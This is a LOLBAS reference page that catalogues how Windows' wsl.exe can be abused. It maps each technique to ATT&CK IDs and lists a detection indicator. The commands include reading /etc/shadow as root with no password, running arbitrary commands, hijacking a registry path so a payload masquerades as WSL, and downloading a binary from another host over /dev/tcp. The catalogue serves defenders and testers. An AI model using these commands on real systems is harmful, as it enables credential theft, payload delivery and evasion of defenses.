LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Wsl.exe

View source

Windows subsystem for Linux executable

ExecuteDownload
05COMMAND EXAMPLES
03ATT&CK TECHNIQUES
02DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

5 examples

Execute4

EXAMPLE 01T1202

Executes calc.exe from wsl.exe

COMMAND
wsl.exe -e /mnt/c/Windows/System32/calc.exe
USE CASE
Performs execution of specified file, can be used to execute arbitrary Linux commands.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows Server 2019, Windows 11
Execute · EXE
EXAMPLE 02T1202

Cats /etc/shadow file as root

COMMAND
wsl.exe -u root -e cat /etc/shadow
USE CASE
Performs execution of arbitrary Linux commands as root without need for password.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows Server 2019, Windows 11
Execute · CMD
EXAMPLE 03T1202

Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`)

COMMAND
wsl.exe --exec bash -c "{CMD}"
USE CASE
Performs execution of arbitrary Linux commands.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows Server 2019, Windows 11
Execute · CMD
EXAMPLE 04T1218

When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

COMMAND
wsl.exe
USE CASE
Execute a payload as a child process of `bash.exe` while masquerading as WSL.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows Server 2019, Windows 11
Execute · CMD

Download1

EXAMPLE 01T1105

Downloads file from 192.168.1.10

COMMAND
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
USE CASE
Download file
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows Server 2019, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\wsl.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

Indicators & detection notes

  • IOC

    Child process from wsl.exe

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Alex Ionescu@aionescu
Matt@NotoriousRebel1
Asif Matadar@d1r4c
Nasreddine Bencherchali@nas_bench
Konrad 'unrooted' Klawikowski
Liran Ravich, CardinalOps